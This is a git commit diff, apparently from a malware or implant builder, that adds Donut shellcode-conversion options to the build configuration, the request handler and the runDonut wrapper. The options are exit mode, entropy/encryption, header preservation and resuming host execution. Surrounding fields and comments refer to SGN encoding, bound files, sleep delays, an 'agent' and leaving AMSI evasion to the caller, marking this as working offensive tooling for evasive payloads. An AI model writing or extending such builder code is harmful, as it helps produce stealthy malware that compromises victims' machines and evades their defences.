add almost all donut options

This commit is contained in:
KingKDot
2026-07-14 16:30:00 -05:00
parent d75c9b6b4d
commit 51431b637b
6 changed files with 100 additions and 2 deletions
+5
View File
@@ -46,6 +46,11 @@ export type BuildConfig = {
solRpcEndpoints?: string;
iosBundleId?: string;
useDonut?: boolean;
donutSingleThreaded?: boolean;
donutExitMode?: number;
donutEntropy?: number;
donutPreserveHeaders?: boolean;
donutResumeOffset?: number;
useLinuxShellcode?: boolean;
shellcodeConsole?: boolean;
useSgn?: boolean;
+12 -1
View File
@@ -117,6 +117,11 @@ type BuildProcessConfig = {
sleepSeconds?: number;
boundFiles?: BoundFile[];
useDonut?: boolean;
donutSingleThreaded?: boolean;
donutExitMode?: number;
donutEntropy?: number;
donutPreserveHeaders?: boolean;
donutResumeOffset?: number;
useLinuxShellcode?: boolean;
shellcodeConsole?: boolean;
useSgn?: boolean;
@@ -1873,7 +1878,13 @@ func runBoundFiles() {
}),
sendToStream,
);
const ok = await runDonut(filePath, binPath, donutArch, sendToStream);
const ok = await runDonut(filePath, binPath, donutArch, sendToStream, {
singleThreaded: config.donutSingleThreaded,
exitMode: config.donutExitMode,
entropy: config.donutEntropy,
preserveHeaders: config.donutPreserveHeaders,
resumeOffset: config.donutResumeOffset,
});
if (!ok) throw new Error(`Donut shellcode conversion failed for ${platform}`);
try { fs.unlinkSync(filePath); } catch {}
finalOutputName = scOutputName;
+18 -1
View File
@@ -204,6 +204,16 @@ export async function ensureDonut(
* host. We pick the best available for the host: -z 3 (LZNT1) on
* Windows, -z 2 (aPLib, cross-platform) elsewhere.
* -b 1 no AMSI/WLDP bypass — caller is responsible for evasion (e.g. SGN)
* -t single-threaded shellcode (optional, off by default)
* -x N exit mode (optional, default donut internal: 1=exit thread)
* 1 = exit thread, 2 = exit process, 3 = don't exit
* -e N entropy level (optional, default donut internal: 3=encrypt+randomize)
* 1 = none, 2 = random names only, 3 = random names + symmetric encryption
* -k N preserve PE headers (optional, default donut internal: 1=overwrite)
* 1 = overwrite (zero or decoy), 2 = keep all headers intact
* -y N resume host execution at offset (optional)
* creates a new thread for the loader, then continues host execution
* at the given file offset relative to the host's executable base
*
* Exit behavior defaults to "exit thread" (-x 1) when -x is omitted, which is
* what we want — prevents crashing the host process when the agent terminates.
@@ -230,6 +240,7 @@ export async function runDonut(
outputBin: string,
arch: "amd64" | "386",
sendToStream: (data: any) => void,
opts?: { singleThreaded?: boolean; exitMode?: number; entropy?: number; preserveHeaders?: boolean; resumeOffset?: number },
): Promise<boolean> {
const bin = await ensureDonut(sendToStream);
if (!bin) {
@@ -239,10 +250,16 @@ export async function runDonut(
const archFlag = arch === "386" ? "1" : "2";
const compressFlag = process.platform === "win32" ? "3" : "2";
const extraFlags: string[] = [];
if (opts?.singleThreaded) extraFlags.push("-t");
if (opts?.exitMode !== undefined) extraFlags.push("-x", String(opts.exitMode));
if (opts?.entropy !== undefined) extraFlags.push("-e", String(opts.entropy));
if (opts?.preserveHeaders) extraFlags.push("-k", "2");
if (opts?.resumeOffset !== undefined) extraFlags.push("-y", String(opts.resumeOffset));
try {
// -i flag required since donut v1 (previously positional arg)
const result = await $`${bin} -a ${archFlag} -z ${compressFlag} -f 1 -b 1 -o ${outputBin} -i ${inputPe}`
const result = await $`${bin} -a ${archFlag} -z ${compressFlag} -f 1 -b 1 ${extraFlags} -o ${outputBin} -i ${inputPe}`
.nothrow()
.quiet();
const stdout = result.stdout.toString().trim();
@@ -203,6 +203,11 @@ export async function handleBuildRoutes(
boundFiles,
iosBundleId,
useDonut,
donutSingleThreaded,
donutExitMode,
donutEntropy,
donutPreserveHeaders,
donutResumeOffset,
useLinuxShellcode,
shellcodeConsole,
useSgn,
@@ -529,6 +534,11 @@ export async function handleBuildRoutes(
boundFiles: safeBoundFiles,
iosBundleId: typeof iosBundleId === "string" && /^[a-zA-Z0-9.-]{1,128}$/.test(iosBundleId.trim()) ? iosBundleId.trim() : undefined,
useDonut: !!useDonut,
donutSingleThreaded: !!donutSingleThreaded,
donutExitMode: (donutExitMode === 1 || donutExitMode === 2 || donutExitMode === 3) ? donutExitMode : undefined,
donutEntropy: (donutEntropy === 1 || donutEntropy === 2 || donutEntropy === 3) ? donutEntropy : undefined,
donutPreserveHeaders: !!donutPreserveHeaders,
donutResumeOffset: typeof donutResumeOffset === "number" && Number.isFinite(donutResumeOffset) && donutResumeOffset > 0 ? donutResumeOffset : undefined,
useLinuxShellcode: !!useLinuxShellcode,
shellcodeConsole: !!shellcodeConsole,
useSgn: !!useSgn,